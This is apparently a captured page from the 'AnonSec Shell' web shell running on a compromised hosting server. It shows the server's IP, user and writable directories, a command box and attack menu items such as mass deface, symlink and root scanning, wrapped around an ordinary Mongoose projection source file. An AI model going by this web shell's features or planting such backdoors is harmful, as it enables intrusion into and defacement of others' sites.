AnonSec Shell
Server IP : 162.213.251.212  /  Your IP : 18.220.57.185   [ Reverse IP ]
Web Server : LiteSpeed
System : Linux business55.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : allssztx ( 535)
PHP Version : 8.1.31
Disable Function : NONE
Domains : 1 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/projection/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/allssztx/needapair.com/node_modules/mongoose/lib/helpers/projection/applyProjection.js
'use strict';

const hasIncludedChildren = require('./hasIncludedChildren');
const isExclusive = require('./isExclusive');
const isInclusive = require('./isInclusive');
const isPOJO = require('../../utils').isPOJO;

module.exports = function applyProjection(doc, projection, _hasIncludedChildren) {
  if (projection == null) {
    return doc;
  }
  if (doc == null) {
    return doc;
  }

  let exclude = null;
  if (isInclusive(projection)) {
    exclude = false;
  } else if (isExclusive(projection)) {
    exclude = true;
  }

  if (exclude == null) {
    return doc;
  } else if (exclude) {
    _hasIncludedChildren = _hasIncludedChildren || hasIncludedChildren(projection);
    return applyExclusiveProjection(doc, projection, _hasIncludedChildren);
  } else {
    _hasIncludedChildren = _hasIncludedChildren || hasIncludedChildren(projection);
    return applyInclusiveProjection(doc, projection, _hasIncludedChildren);
  }
};

function applyExclusiveProjection(doc, projection, hasIncludedChildren, projectionLimb, prefix) {
  if (doc == null || typeof doc !== 'object') {
    return doc;
  }
  if (Array.isArray(doc)) {
    return doc.map(el => applyExclusiveProjection(el, projection, hasIncludedChildren, projectionLimb, prefix));
  }
  const ret = { ...doc };
  projectionLimb = prefix ? (projectionLimb || {}) : projection;

  for (const key of Object.keys(ret)) {
    const fullPath = prefix ? prefix + '.' + key : key;
    if (projection.hasOwnProperty(fullPath) || projectionLimb.hasOwnProperty(key)) {
      if (isPOJO(projection[fullPath]) || isPOJO(projectionLimb[key])) {
        ret[key] = applyExclusiveProjection(ret[key], projection, hasIncludedChildren, projectionLimb[key], fullPath);
      } else {
        delete ret[key];
      }
    } else if (hasIncludedChildren[fullPath]) {
      ret[key] = applyExclusiveProjection(ret[key], projection, hasIncludedChildren, projectionLimb[key], fullPath);
    }
  }
  return ret;
}

function applyInclusiveProjection(doc, projection, hasIncludedChildren, projectionLimb, prefix) {
  if (doc == null || typeof doc !== 'object') {
    return doc;
  }
  if (Array.isArray(doc)) {
    return doc.map(el => applyInclusiveProjection(el, projection, hasIncludedChildren, projectionLimb, prefix));
  }
  const ret = { ...doc };
  projectionLimb = prefix ? (projectionLimb || {}) : projection;

  for (const key of Object.keys(ret)) {
    const fullPath = prefix ? prefix + '.' + key : key;
    if (projection.hasOwnProperty(fullPath) || projectionLimb.hasOwnProperty(key)) {
      if (isPOJO(projection[fullPath]) || isPOJO(projectionLimb[key])) {
        ret[key] = applyInclusiveProjection(ret[key], projection, hasIncludedChildren, projectionLimb[key], fullPath);
      }
      continue;
    } else if (hasIncludedChildren[fullPath]) {
      ret[key] = applyInclusiveProjection(ret[key], projection, hasIncludedChildren, projectionLimb[key], fullPath);
    } else {
      delete ret[key];
    }
  }
  return ret;
}

Anon7 - 2022
AnonSec Team